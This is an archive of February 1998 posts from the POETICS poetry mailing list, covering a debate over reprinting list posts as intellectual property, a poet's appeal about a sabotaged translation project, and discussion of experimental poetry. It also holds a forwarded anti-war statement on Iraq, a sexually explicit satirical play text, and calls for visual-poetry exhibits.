Some important things stand out here: 1) It is quite evident, I think it's safe to say, that this sabotaging of an important and needed project is related to the opinions of certain people about another project I have been involved in and which has caused a fair amount of discussion and controversy. 2) That what is involved is, to some degree, an organized campaign, since the "various communications" arrived within the past two days. 3) That those involved in successfully urging an end to the professional and personal relationship that had been established between myself and the other person in question are willing to scuttle a good faith and seriously undertaken effort--one that aimed to give exposure to relatively unrecognized poets in Latin America-- and that they are willing to do this to placate their own discomfort and dissapproval about another body of work.

I want to make it clear that I hold no resentment whatsoever toward the poet for his decision to postpone our collaboration. He is a person who has worked with a great deal of vision and selflessness, and he is someone who has put his life on the line in the struggle for justice in his country. It is completely understandable that he would wish to excercise the utmost caution in light of such strong and unexpected warnings (eventhough he was aware of the controversy around the Yasusada work and I had sent him a copy of the book). I have written him that I understand that he has been placed in a very awkward and difficult position and that his loyalty to previous friendships is important. But I did tell him that I felt his friends had acted in ways that are unprincipled beyond belief and that it was still my hope that we might be able to clarify the matter.

Therefore, I am writing this as an open appeal to those who are involved in poisoning this importnt project to have the self-respect and professional integrity to come forward and explain your actions. I have never shied away from discussing my ideas and feelings about the Yasusada writings, and if you feel that work somehow disqualifies me from undertaking this project then I would invite you to a dialogue. Have the courage to approach me personally.

And I am making this appeal here because I know that those involved are on or in close contact with people on this list.

And you have behaved rather disgracefully.

Kent Johnson

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461. **Kali Tal**
Re: sublimating the ridiculous
Wed 11 Feb 1998

Kent,

You might as well declare your backyard a nuclear-free zone while you're at it....

> *But the key point in this matter is whether or not the post-author's "permission" is required, and particularly when what is being reprinted directly pertains to the editorial policy of the editor's journal. The answer, to my mind, is an emphatic No. (nota bene: In fact, Aldon, if the matter were sufficiently interesting to them, it would be perfectly correct and appropriate for the editors of Postmodern Culture to reprint my public posts on the list regarding their journal without seeking my "permission.")*

Well, to many other folks' minds, the answer about permission is an emphatic *yes*, and what makes your assertion of eminent domain any more valid than their assertion of intellectual property rights? "stealin my shit from me / don't make it yrs / makes it stolen," as shange notes.

> *And that greater context is that our discourse here is available, immediately and freely (in every sense of that word), to millions on the World Wide Web. Once we freely choose to enter it, we choose to enter an unprecedentedly collective space, one that is qualitatively different in form and dynamic from the traditional means of literary packaging and commodification. I don't want to sound arrogant about it, but we list members should really just get used to this and stop thinking that rules and protocols and "personal values" that have their origins in 17th century social and cultural relations--and which have formed the legal and ideological proprieties of print culture up to the present--apply in any feasible way to a mode of information production that has radically superseded those relations and made the ideology of authorship engendered by them something akin to the tenuous status of the Right of Estate around the time of Cromwell.*

Oh, nonsense. Folks blathering about the "new and unprecedented" nature of e-communication make me tired. Ain't nothin new about this--it's same-old same-old. People talk, share ideas, share work, write to each other. Everybody thought *television* was gonna be some new, liberating medium. See any sign of it? And, while we're at it, why shouldn't anything broadcast on TV be "free" as well? Surely the logic behind your argument about POETICS should hold for broadcast TV. And what's this silliness 'bout a "radically democratic" forum? What's "democratic" about POETICS? It's a free-for-all w/a benign dictator--votes don't carry any weight here. Email listservs are publications, like other publications--they just get into print quicker. I refuse to give up my rights to the material I produce in this space any more than I'd give 'em up if I published in a hard-copy journal.

> *If one wants to claim his or her words as private property, well, then he or she should go publish them in*

> *institutional mediums where his or her "authority" (and all the psychological security provided by that notion) is firmly guaranteed by the State.*

Sorry to inform you, but the state protects "authority" on the internet as well--as any site devoted to the legal issues of internet publication will demonstrate. Just try lifting a Disney cartoon off their site and see how quick they slap you with a suit. Copyright is there to protect the interests of the author--interests, I'd think, that many of us share. If I *want* to give my work away, fine. (And I do--I publish most of what I write on the Net, so people can see it for free.) But it ain't your right to *take* it (and particularly take it and *sell* it) unless I give my permission.

Bah.

Kali

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462. **d powell**
Re: Poetry is not a subculture
Wed 11 Feb 1998

Reply to: RE: Poetry is not a subculture

sean bonney wrote:
>re Henry Gould's posting on 5th Feb re the task of crit,
>particularly the upper case rant ending POETRY IS NOT A
>SUBCULTURE
>
>Firstly, whats so bad about being a subculture when the
>dominant one is so banal, and in that banality so brutal
>(check the current shituation viz Clinton & the UKs own
>glorious ambassador of idiocy Blair)
>
>Anyway, Henry's notes got me thinking about the marginal
>position we often find ourselves in. It should be clear to
>everybody that the way poetry is taught in school puts most
>people off - these people aren't just 'outside' poetry, a
>lot of them actively dislike it - seen as elitist and
>irrelevent, the residue of a best forgotten culture that
>existed pre-MTV etc, containing no joy fun or pleasure,
>which are surely among the main reasons that we all got
>involved in the first place. Result is, post-school a lot
>of people are disinclined to go to poetry because it
>carries too many school-time horror memories. Here in

>Britain you find undergraduates who still define a poem as
>something that rhymes.
>
>Fine, forget em, we're not in the business of mass markets
>anyway, and maybe elitism isn't that bad after all, if the
>alternative is such spectacles as the massed ranks of the
>Tory Party singing Blake's lyrics as emblems of bigotry,
>capital etc - all the stuff that Blake loathed.
>
>It seems to me that people see poetry as a joke because
>they don't know what it is; the most pleasure I've got from
>my own readings is folks coming up afterwards saying they
>usually hate poetry but loved mine (make of that what you
>will!). A lot of people are THREATENED by the perceived
>difficulties etc, and react accordingly.
>
>It isn't a case of us learned poets against the philistine
>world; its just that much of what we say only has interest
>to each other, hence a discussion group like this. Example:
>photographs of deep space engage me more than anything
>else, but if someone in the pub starts talking about the
>finer points of astro-physics my eyes glaze over.
>
>Lets not forget that this is always the position that poets
>have been in. Blake and Shelley were small press activists.
>Its just now perhaps the situation is more complicated -
>self consciousness produced by media etc etc. Sometimes in
>the info-babble that we're all a part of it seems the only
>possible option is an ironic silence (Rimbaud pissing in
>the shadows) - but even thats useless, stand there silently
>and no-one will notice, you'll just end up getting run over
>by a truck.
>

True, poetry is a marginalized artform--even at the queer bookstores, where that which is marginal is reclaimed, poetry still gets shoved into the back of the store (just the way queer literature gets shelved in mainstream bookstores). But this does not make poetry a "subculture." In order to constitute a subculture, poets would have to share common rituals, dress, speech, etc. and, generalizations about poets aside, there is no critical mass of shared traits from which to argue the existence of such a subculture. If anything, judging from the poets I have known, poets belong to a kind of "anti-subculture." But even that

assessment is reductive.
Doug
==========
D A Powell [redacted]
==========

↑ Index

463. **Schuchat Simon**
Re: 44
Wed 11 Feb 1998

shi is the "on yomi" or sino-Japanese word, while "yon" is 4 in the "kun yomi" or yamato-kotoba indigenous Japanese reading. I don't think that variations in usage are regional, more than you use one in some circumstances and the other in other circumstances.

On Wed, 11 Feb 1998, Alan Myouka Sondheim wrote:

> *It's not a nonsense word at all. It's built-in and is "yon." "Yon" means four, just like "shi" does. I just haven't heard anything else - but then I'm in Fukuoka, in the south-west.*
>
> *Alan*
>
> *On Mon, 9 Feb 1998, d powell wrote:*
>
> *Reply to: Re: 44 In Japanese, the word "shi" is both "four" and "death" as well. Many superstitious Japanese replace "four" with a nonsense word when giving addresses, phone numbers, etc. that contain a four.*
>
> *Tea cups are sold in sets of five, and if one cup is broken, the whole set is thrown out--at least, this is a custom that still is observed by some Japanese.*
>
> *Doug*
> *==========*
> *D A Powell* [redacted]
> *==========*

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464. **d powell**
Re: Why I'm not an experimental poet
Wed 11 Feb 1998

Reply to: Re: Why I'm not an experimental poet

sylvester pollet wrote:
>>So that is why I am not an experimental poet.
>>
>>Ron Silliman
>
>I second that. To me, it always sounded like someone who was experimenting
>at being a poet. Sylvester

Which is why I hate being called "an experimental queer writer," because it sounds like I'm experimenting with being queer. I'll have those critics know, I have it down to a science now, thank you very much. Oh yes, special thanks to the Boy Scouts of America, where I earned an extra merit badge--the one they don't talk about.

Doug
==========
D A Powell [redacted]
==========

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465. **KENT JOHNSON**
Intellectual property
Wed 11 Feb 1998

On Feb 11, Kali Tal wrote:

> *Well, to many other folks' minds, the answer about permission is an emphatic *yes**

True enough!

> *and what makes your assertion of eminent domain any more valid than their assertion of intellectual property rights?*

why nothing, at least not in any final sense. I mean life is full of unfinished arguments, right? But you're sort of adding to _my_ argument-- i.e. when it comes to staked claims of "intellectual property," no matter how barbed the fence that is strung, we are dealing in an area of undecidability, of utter subjectivity and

will. The fence is a phantasm, a shimmer of false consciousness, a little fart of history. Who wrote the deed you are holding in your hand?

> *Oh, nonsense. Folks blathering about the "new and unprecedented" nature of e-communication make me tired.*

Shoot, that was the first time in my life I have ever said anything mildly theoretical about the Net, and I thought I was going to blow everyone away!

> *Ain't nothin new about this--it's same--old same--old. People talk, share ideas, share work, write to each other.*

Thus, the ruling class will sleep more soundly tonight, for nothing ever really changes. And all the work on that doggone Telecommunications bill!

> *And while we're at it, why shouldn't anything broadcast on TV be "free" as well? Surely the logic behind your argument about POETICS should hold for broadcast TV.*

I am all for free TV!! Did I sound like I wasn't? But capital does these weird things to freedom...

> *and what's this silliness 'bout a "radically democratic" forum? What's "democratic" about POETICS?*

OK, radically democratic and _open_? I mean that when I press the send button for this, people who aren't subscribed to the list can read it before it's posted to the subscribers. It is available, always/already (forgive me for that term), to millions. Why (and this is the main question I was posing) would I be so protective about my post? What leads me to desire to control its distribution if I've already willingly entered it into an uncontrollable space? And don't tell me I'm being silly because, well, not that many people peek at the Poetics archives...

> *I refuse to give up my rights to the material I produce in this space any more than I'd give 'em up if I published in a hard copy journal.*

Fair enough. But then perhaps you should join the campaign to more effectively extend existing copyright law into the Web? And actually, here's a question. Let's say you had participated in the Mike and Dale's discussion and Dale had called to tell you he wanted to reprint your posts in full, along with numerous others. And let's say that you were in a bad mood or something like that and said No. And let's say that Dale said, Well I wan't _asking_ you, I was just informing you because this discussion is about the integrity of my magazine. And then he went ahead and did it. Published it, I mean. You have one call. Who do you call first?

> *Sorry to inform you, but the state protects "authority" on the internet as well--as any site devoted to the legal issues of*

> *internet publication will demonstrate. Just try lifting a Disney cartoon off their site and see how quick they slap you with a suit.*

Yes, thank you for that information. But is this a settled issue or a contested one, still very fluid, with important implications. I'm open to having my mind changed on this issue, really, I am. But here's a last and very serious question: Why would you want to be on the same side of this "intellectual property" issue as the Disney Corporation?

> *Bah.*

Bah to you too.

Kent

↑ Index

466. **Henry Gould**
Re: Why I'm not an experimental poet
Wed 11 Feb 1998

On Wed, 11 Feb 1998 17:05:12 CST Dale M Smith said:
>
>Still, that neo formal stuff seems like it would have some possibility, in
>that it worked for Keats et al. Just as, I suppose, at one time it was
>very liberating to create poem out of random words spilled to the floor
>(the way you can do it on a refrigerator now - magnetically). Both sides
>seem to have lost something though. What Blake was after is probably
>unimagininable to practitioners of today's poetic cousins.
>
Letters don't need iron. They are already fully magnetized.
The question is does the poet have any iron in the stomach.
Blake ate crowbars for breakfast. Melville, on the other hand,
was a born harpoon. (I'm a little red fire truck.)
- Henry Gould

↑ Index

467. **David Zauhar**
Re: Why I'm not an experimental poet
Wed 11 Feb 1998

Not to suggest that Ron Silliman IS making this up, but I checked the website mentioned in his post (for the same reason, I guess, that some motorists gawk at automobile accidents on the highways), and it says that the "Experimental Forms" class is taught by Charles Martin, and that Dana Gioia is teaching "Translation" (The "Master Class" is Molly Peacock's, and Alfred Corn is

"Working in Rhyme" and Marilyn Nelson is doing "The Sonnet"). The keynoter, by the way, is Anthony Hecht. Still have to agree with the gist of his post concerning formatted pre-fab poetry being passed off as the last word on poetic form. And for those prices, there better be an open bar at all the receptions.

David Zauhar
University of Illinois at Chicago

"My religion makes no sense
and does not help me
therefore I pursue it."

--Anne Carson

↑ Index

468. **Tom Mandel**
Warren Spahn or warring spam?
Wed 11 Feb 1998

I *think* Warren Spahn wore # 23....

[Re: intellectual property and Dale Smith the reprinter of posts, I must start by reminding you that I haven't agreed with anything Dale has said here recently if ever.

However, this is *not* in fact a private space, but a public conversation. What is said here is already published; it is utterly public.

Grab a phrase from a post here and search for all its words and the author's name using any search engine on the net, for example. I bet the engine returns the post you hold in email.

Anyone, iow, can get to this list, subscribed or not.}

...Perhaps it is that Spahn won 323 games -- can that be true? That's a lot of games.

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****
Join the Caucus Conversation

↑ Index

469. **Alan Myouka Sondheim**
No Play
Wed 11 Feb 1998

-

No Play

<The curtain rises. Nikuko and American boy on stage.>

Nikuko speaks (kabuki voice throughout):

"I, Nikuko, do beg you to sew my eyes shut!
Oh, I have not seen so much horror in world!
But, I, Nikuko, want to experience total bliss!
I want to do one-man sumo with fearsome opponents!
I will fight me in blackness of invisible enemies!
I will fight police throwing me in filthy cell!
Do you like elimination of "a" "the" articles now such?
Do wrap me in kimono-cloth, strangle in transparent tape!
I will know ecstasy! Then I will bring "you" ecstasy!
I will make "you" verb in my vagina!
Do you like forbidden pleasure? Jewel-Lotus-Magatama-Pleasure?
You will have rope through labia to pull my deep joy-suffering!
You will have me, do you like Oriental face?
Deep cast of eyes wide open for your english-teaching insert!
Where you are from, they have automobiles! I so like to drive!
Oh deep American boy, I will make you drive in my vagina!
I do like overdrive-gear-shift-nitro-burn as well!
I will do one-man sumo with fearsome opportunities!"

<Gas floods the stage; American boy dies, vomiting. Nikuko staggers to her feet, takes off her mask. She is a woman of thirty-five. She is carrying a dagger. She turns and faces the audience. She screams "MU!" The curtain falls.>

↑ Index

470. **Rachel Levitsky**
[Fwd: Urgent on Iraq - Please note the signers!!; U.S. v. Iraq: A Study i (fwd)]
Wed 11 Feb 1998

by spot.Colorado.EDU (8.8.5/8.8.4/CNS-4.1p) with SMTP
id QAA24274; Tue, 10 Feb 1998 16:31:16 -0700 (MST)
Date: Tue, 10 Feb 1998 16:31:15 -0700 (MST)

From: ANDERSON DAVID <[redacted]>
To: [redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted]
Subject: Urgent on Iraq - Please note the signers!!; U.S. v. Iraq: A Study i (fwd)

---------- Forwarded message ----------
Date: 10 Feb 1998 14:32:06
From: [redacted]
To: Recipients of conference <[redacted]>
Subject: Urgent on Iraq - Please note the signers!!; U.S. v. Iraq: A Study i

[Apologies for duplicates as a result of cross-posting.]

>>PLEASE JOIN WITH US AT THIS CRUCIAL TIME.
>>To find out about COME email to [redacted]
>>To find out about MID-EAST REALITIES email to [redacted]
>>----------
>>
>> D O N O T B O M B I R A Q
>>
>>This very important and timely Statement from the Committee On The
>>Middle East is now available for downloading and printing.
>>
>> TO VIEW ON THE WEB:
>> http://www.MiddleEast.Org/iraqhtm.htm
>>
>> WINDOWS WORD VERSION - 2 pages
>> For duplication on both sides of one 8 x 11 paper.
>> http://www.MiddleEast.Org/iraq.doc
>>
>>To publish this unique and important Statement in Washington, and to
>>distribute it to the American and International Press, we need your
>>help and support. If you would like to help please email to
>>[redacted] or call [redacted].
>>----------
>>
>>Email copy of Statement follows:
>>
>>- D O N O T B O M B I R A Q
>>

>> A Public Statement from the
>> COMMITTEE ON THE MIDDLE EAST
>>
>> The following is a statement from the Committee On
>> The Middle East (COME) concerning the American
>> threats to bomb Iraq. We urge you to circulate it
>> as much as possible. The International Advisory
>> Committee of COME, including Middle East experts
>> and professors throughout the world, is listed at
>> the end of the Statement.
>> Please join with us and support our efforts at
>> this critical time.
>> To reach COME:
>> Phone: [redacted]
>> Fax: [redacted]
>> Email: [redacted]
>> Web: http://WWW.MiddleEast.org
>>
>> D O N O T B O M B I R A Q
>>
>> While the United States clearly has the military power to further
>>devastate and prostrate Iraq, we strongly believe that the course the
>>U.S. has chosen is not only grossly unjust, but also exceedingly
>>hypocritical and duplicitous. We further believe that though the U.S.
>>may be able to pursue its imperial policies without substantial
>>opposition in the short term, the policies being pursued today,
>>especially the new and massive military assault being prepared against
>>Iraq, are likely to have tremendously negative historical ramifications.
>> As Middle East experts and scholars - many with close and personal
>>ties to this long troubled and misunderstood region - we feel a
>>political, a moral, and a historical responsibility to speak up in
>>clear opposition at this critical time.
>>
>> Origins of Today's Imbroglio:
>>
>> Throughout this century Western countries, primarily the United
>>States and Great Britain, have continually interfered in and
>>manipulated events in the Middle East. The origins of the
>>Iraq/Kuwait conflict can be found in the unilateral British decision
>>during the early years of this century to essentially cut off a
>>piece of Iraq to suit British Empire desires of that now faded era.
>> Rather than agreeing to Arab self-determination at the end of World

>>War I and the collapse of the Ottoman Empire, Western nations conspired
>>to divide the Arab world into a number of artificial and barely viable
>>entities; to install Arab "client regimes" throughout the region, to
>>make these regimes dependent on Western economic and military power
>>for survival; and then to impose an ongoing series of economic,
>>cultural, and political arrangements seriously detrimental to the
>>people of the area. This is the historical legacy that we live with
>>today.
>> Throughout the 1930s and the 1940s the West further manipulated the
>>affairs of the Middle East in order to control the resources of the
>>region and then to create a Jewish homeland in an area long considered
>>central to Arab nationalism and Muslim concerns. Playing off one regime
>>against the other and one geopolitical interest against another became a
>>major preoccupation for Western politicians and their closely associated
>>business interests.
>>
>> Following World War II:
>>
>> After World War II, and from these policy origins, the United States
>>became the main Western power in the region, supplanting the key roles
>>formerly played by Britain and France. In the 1960s Gamel Abdel Nasser
>>was the target of Western condemnation for his attempt to reintegrate
>>the Arab world and to pursue independent "non-aligned" policies. By the
>>1970s the CIA had established close working relationships with key Arab
>>client regimes from Morocco and Jordan to Saudi Arabia and Iran -
>>regimes
>>that even then were among the most repressive and undemocratic in the
>>world - in order to further American domination and to secure an
>>ever-growing supply of inexpensive oil and the resultant flow of
>>petrodollars.
>> By the late 1970s the counter-reaction of the Iranian revolution was
>>met with a Western build-up of the very same Iraqi regime that is so
>>condemned today in a vain attempt to use Iraq to crush the new Iranian
>>regime. The result was millions of deaths coming on top of the
>>terrible devastation of Lebanon, itself a country that had been severed
>>from Greater Syria by Western intrigues, as had been the area of
>>southern Syria, then known as Palestine. Additionally the Israelis
>>were given the green light to invade Lebanon, further devastate the
>>Palestinians, and install a puppet Lebanese government - an attempt
>>which failed leading to an American and Israeli retreat but ongoing
>>militarism to this day. Meanwhile, throughout all these years Western
>>manipulation of oil supplies and pricing, coupled with arms sales

>>policies, often seriously exacerbated tensions between countries in
>>the region leading to the events of this decade.
>>
>> The Gulf Conflict:
>>
>> It was precisely such American manipulations and intrigues that led
>>to the Gulf War in 1990. Indeed, we would be remiss if we did not note
>>that there is already much historical evidence that the U.S. actually
>>maneuvered Iraq into the invasion of Kuwait, repeatedly suggesting to
>>Iraq that it would become the pivotal military state of the area in
>>coordination with the U.S. Whether true or not the U.S. subsequently
>>did everything in its power to prevent a peaceful resolution of the
>>conflict and for the first time intervened with massive and overwhelming
>>military force in the region creating today's dangerously unstable
>>quagmire.
>> The initially stated American goal was only to protect Saudi Arabia.
>>Then after the unprecedented military build-up the goal became to expel
>>Iraq from Kuwait. Then the goal evolved to toppling the Iraqi
>>government. And from there the Americans began to impose various limits
>>on Iraqi sovereignty; took over much of Iraq air space; sent the CIA to
>>repeatedly attempt to topple the Iraqi government; and placed a
>>near-total embargo on Iraq that many - including a former Attorney
>>General of the United States - have termed near-genocidal. The overall
>>result has been the subjugation and impoverishment of Iraq and the
>>actual death of approximately 5% of the Iraqis as the direct result
>>of American sanctions, plus the reallocation of oil quotes and
>>petrodollars to American client-states.
>> With the Clinton Administration, the U.S. began to insist on the
>>"dual containment" of both Iraq and Iran - both countries which just a
>>few years ago the U.S. was working very closely with and providing
>>considerable arms to. With few in the press able to remember from
>>one year to the next, or to connect one historic event with another,
>>somehow Washington has come to insist on Iraqi disarmament and Iranian
>>strangulation. Furthermore, these policies are being pursued even
>>while Israel and key Arab client states are receiving American weapons
>>in ever larger amounts, with Israel's weapons of mass destruction
>>making her forces 7 to 8 times stronger than all Arab armies combined.
>>Furthermore still, the U.S. and Israeli strategic alliance has never
>>been closer, the U.S. has repeatedly helped Israel defy the will of
>>the international community and the United Nations, and the U.S.
>>continues to champion a disingenuous Israeli "peace process" which
>>in reality on the ground continues to dispossess the Palestinians

>>and to corral them onto reservations in their own country!
>>
>> The Future:
>>
>> In a future statement we will move on to the crucial subject of what
>>alternative policies the United States should be pursuing. But at this
>>critical moment we are compelled to come forward and urgently condemn
>>the policies now being pursued by the United States and regional ally
>>Israel. We call for an immediate cessation of the economic embargo
>>against Iraq, an end to U.S.-imposed restrictions on Iraqi sovereignty
>>and airspace, and most of all immediately suspension of all plans to
>>attack Iraq using the overwhelming technological and military
>>instruments
>>available to the U.S.
>> If the U.S. continues to pursue its current policies then we
>>conclude and predict it will not be unreasonable for many in the world
>>to brand the U.S. itself as a arrogant and imperialist state, and if
>>that becomes the historical paradigm it will be both understandable
>>and justifiable if others pursue whatever means are available to them
>>to oppose American domination and militarism. Such developments could
>>quite possibly lead to still more decades of conflict, warfare, and
>>terrorism throughout the region and beyond.
>>
>> * * * * * * * * * * * * * * *
>>COME Advisory Committee: Arab Abdel-Hadi - Cairo; Professor Nahla
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>>Pellett - University of Massachussetts (Amherst); Professor Max Pepper,
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>>Hawaii); Dr. Marlyn Tadros - Deputy Director, Legal Research and

>>Resource Center for Human Rights (Cairo); Professor John Williams -
>>College of William and Mary; Ismail Zayid, M.D. - Dalhousi University
>>(Canada).
>>
>> COME - [redacted] - Fax: [redacted] - Email: [redacted]
==========
From: MID-EAST REALITIES <[redacted]>
Subject: Author condemns U.S. policies toward Iraq
-
_____ ____ _____
/ |/ / /___/ / /_ // M I D - E A S T R E A L I T I E S
/ /|_/ / /_/_ / /\\ Making Sense of the Middle East
/_/ /_/ /___/ /_/ \\
www.MiddleEast.Org M E R E X C L U S I V E :
AUTHOR CONDEMNS U.S. POLICIES TOWARD IRAQ

TO RECEI

cdp ignored 10934 excess bytes

↑ Index

471. **Don Byrd**

Re: Foucault, Ron's experimentalism and Baseball

Wed 11 Feb 1998

Safdie Joseph wrote:

> *On another note, thanks to Katy Lederer for posting a section from Foucault's only truly valuable work for my poetics, _The Order of Things_ (but what do I know, I like Baudrillard too, even his little masterpiece of invective _Forget Foucault__). But I'd like to ask Katy (and anyone else who has ventured through the formidable prose of this work), what she thinks of the period he deals with BEFORE the dead-end of the 16th century, namely the pre-Renaissance system of order and meaning, when things were luminous and so were their signs?*

Before Foucault was Foucault, at least in the U.S., Rich Grossinger translated that early section of _The Order of Things_ for his Ph.D. language exams at the University of Michigan and published it in _Io_, #4 (probably 68 or 69). He neglected to note that this was an early section out of a history, and many of us first new of Foucault as a weird French magus...

By the way, I would recommend _Io_ to any one who can find a file of them. Much of the vitality of the poetry of that period resulted from the fact that it was being cooked up in close connection with large doses of information about stuff. I suppose some of the information in _Io_ would now seem new-ageish, but, of course, it was pre-new-age. And (I had changed the original subject line,

but now I can add baseball again) in addition to issues on doctrine of signatures, ethnoastronomy, ecology, etc., there is a great issue on baseball.

As I noted in that earlier post, Derrida comes closer to a kind of Neoplatonism with every book. _On the Name_ is closer to the writings of renaisance magicians than to the Nietzsche and Heidegger that he begun with.

Ron, one of the generation of our father-poets, and I do not remember which one, but I am inclined to think it was Jackson, objected to being called an experimental poet on the grounds that experimenting implied that one did not know what one was doing. The poem was not an experiment, it was an event. Or would it have been David Antin?

don

--

****
Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

↑ Index

472. David Israel

Re: A personal appeal

Thu 12 Feb 1998

Kent --

sorry to hear about ths snafu. Good luck w.r.t. its resolution.

d.i.

.
.....
.....
\\/////\\\\\
> david raphael israel <
>> washington d.c. <<
| [redacted] (home)
| [redacted] (office)
==========

| thy centuries follow each other
| perfecting a small wild flower

| (Tagore)
/////////////////////////////////////\\\\\/////

↑ Index

473. **Karen Kelley**
Lee Chapman
Thu 12 Feb 1998

Oops, I know someone recently gave Lee Chapman's (First Intensity) earth address--would you please again?

Karen

↑ Index

474. **david bromige**
socopo reading : charles alexander
Thu 12 Feb 1998

monday nite at the cinnabar theater in petaluma a welcome chance to hear fellow-listling charles alexander read his poetry. He read from "pushing water", a title that surely helped open up the work. . .earlier that day i had watched a waterfall & rapids, fascinated to see the rocks "pushing water" into serried patterns of many variations, but that's not the only way to hear those poems. They surely are generously available to being read from several approaches. Also he read his postcard series, and it was an intense pleasure to follow his handling of the small space. Intellectual jazz, where "a tear is an intellectual thing".

Also reading : roderigo toscano, and hung q. tu. Nor had I heard either of these read before, and have no sure sense of their work on the page. The smoosh of traffic from petaluma bvd interfered (i wass sitting at the back of the room) but i began to cotton to both roderigo's hard-edge urban scapes and hung's lilting insinuations, want more, apologize for the sketchiness of these registrations. 25 is a good crowd in that space, a sign that the once-monthly series is catching on, and well it might, thanks to layne russell and steve tills and the hard work they do to spread the word. we did announce it on the johnny otis saturday morning matinee live-feed to kpfa berkeley, but i forgot to ask if anyone there came for that cause.

The second monday of each month, and in march, a panel on present practice and the troubadors, with peter gizzi, steve farmer, and, we hope, susan gevirtz.

db 3

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475. Maria Damon
Re: sublimating the ridiculous
Thu 12 Feb 1998

kent johnson goes on at some length about the list being a "free and open space" and thus what people post is not theirs. i suggest you all look at the welcome message that says that posting on the list is a form of publication. now, in my book, publication means publication, i.e. if your name is on it, it's yours. if someone wants to loosely paraphrase what's said on the list without attributing authorship, that's one thing; but if people's specific words are quoted and their names appeared somewhere in their own post and the quoted material, i would consider this to be publication and subject to the same general courtesies that apply to photocopying someone's work, citing it in your own work, etc.

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476. Pierre Joris
Re: Foucault, Ron's experimentalism and Baseball
Thu 12 Feb 1998

Don Byrd wrote:

> *... Ron, one of the generation of our father-poets, and I do not remember which one, but I am inclined to think it was Jackson, objected to being called an experimental poet on the grounds that experimenting implied that one did not know what one was doing. The poem was not an experiment, it was an event. Or would it have been David Antin?*

that was Jackson, I believe. But when I read Ron's post what came to mind immediately were Antin's lines: "If Robert Frost is a poet, then I don't want to be a poet, if Robert Lowell is a poet that I don't want to be a poet...."

And Derrida's new book " Le monolinguisme de l'autre" (well, one of the three 1996 books) is all about the I of the author (JD), is in fact pure autobiography "I am the most Judeo-Franco-Maghrebian of all" -- And weaves a gorgeous piece of writing out of his musings on his (not-under-erasure) origins and lack of a (jewish) mothertongue. -- (I think a shortened version came out in English as "Echoes from Elsewhere.")

Spring training just around the corner & from the Io issue on baseball, here's a Ken Irby line to ponder: "...the problems of prosody for a narrative of pitchers are the pitchers' problems of the musculature facing home..."

Pierre (wearing his favorite Mets t-shirt)

==========

pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]

http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
— La Rochefoucauld
==========

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477. George Bowering
Re: Why I'm not an experimental poet
Thu 12 Feb 1998

> *West Chester University's 4th annual summer writers conference (June 10-13) focuses this year on "Exploring Form & Narrative" and offers a workshop on "Experimental Forms" taught by...Dana Gioia.*
>
> *I'm not making this up.*

Fill us in. Who is Dana Gioia? I take it that she or he is some kind of non-experimental writer?

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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478. Irving Weiss
Exhibits outside USA
Thu 12 Feb 1998

I know that Miekal And some months back sent out information about the Bent Goncalves experimental poetry exhibit in Brazil, but I don't remember seeing any mention about other Latin American and European exhibits, some of which I learned about from Clemente Padin. So here, if you will excuse repetition, are some announcements, including a reminder about the Brazilian show.

FRACTART 1998 POESIA VIXUAL
VI International Biennial of Experimental Poetry (Fractal/Global Festival of Polypoetry-Hypertext-Multimedia Poetry)
Mexico City, Mexico D.F.
University Museum El Chopo, among other sites.

Submit: projects and artwork for the Internet; fax; computer and video poetry (American System); personal interventions (performance and polypoetry); visual, concrete, and graphic poetry; sound poetry; installations; book objects; etc.

If you send anything by Internet, use the following email addresses:

[redacted]

General adviser on multimedia and internet will be Jose Diaz Infante

DEADLINE for artworks sent by postal service will be August 1998. Please send works by postal service to:

Cesar Espinosa
ARACELI ZUNIGA
Apdo. Postal 45-615
06020 Mexico, D.F.
Mexico
Tel fax: [redacted]

(There is no indication of when the exhibit takes place.)

Works submitted will not be returned but will become part of the Poesia-Virtual-Mexico/Internacional, A.C.., archive.

American organizers for the USA: Dick Higgins and Harry Polkinhorn

==========

Exhibition of Visual Poetry entitled "2000 - The Third Millenium
VI BRAZILIAN CONGRESS OF POETRY
Bento Goncalves, Brasil
Deadline September 10, 1998
(There is no indication of when the exhibit takes place)

Submit 2 or 3 visual poems (maximum sizes 42 x 30 cm) to:

Ademir Antonio Bacca
PO Box 41
Bento Goncalves-RS
BRAZIL
95700-000

Co-ordinators: Clemente Padin, Fernando Aguiar, Hugo Pontes will select visual poetry submissions for printing in a special number of the newspaper Garatuja, to include at least one poem from each poet.

All work submitted will be retained for inclusion in the exhibition archives. We will appreciate your sending books, catalogues, magazines, etc. also for inclusion in the permanent archives.

==========

MAIL ART EXHIBIT

CHIAPAS

The First Social Revolution of the III Millenium

The right of all peoples to fight with the weapons of ethical and social justice to lead free and decent lives.

The Zapatista Army of National Liberation of Chiapas, Mexico, is fighting to overcome the social and economic inequalities forcing countless millions of human beings all over the world to live and die like animals in hunger and deprivation. "We are all Marcos" fighting with reason, truth, and for the justice of our cause to raise the standards of living for our people.

We are simply unable to exist as we do, struggling to improve our living conditions, unless our lives are valued according to basic human principles. "Others" also live and suffer as we do under a system that wields powers often unwanted by them. Our human nature , our human essence, enables us to recognize that their "otherness" is ours, even if they fail to think like us.

The bloodless revolution in Chiapas launched by the people and their representatives and modified by world public opinion, through revolutionary announcements in all media, above all through the Internet, have made the humanitarian principles of The First Social Revolution of the III Millenium a model to follow.

Mediums: no restrictions, including street mail, e-mail, and fax. Forms and types: no restrictions, but all submissions must be in two dimensions (no cartons or boxes, no artists' books, no sculptures, etc.)

All submissions will be exhibited and every artist will receive written acknowledgment of his participation in the exhibit.

The exhibition will be located at AEBU, the Uruguayan Employee Bankers Association, Montevideo, Uruguay, and later in other cities of the interior. After the exhibition, all the works of art received will be turned over to the Zapatista Army of National Liberation, Chiapas, Mexico.

Deadline: July 30, 1998
(No indication of when the exhibit will take place.)
Please send all submissions to:

Clemente Padin
C. Correos Central 1211
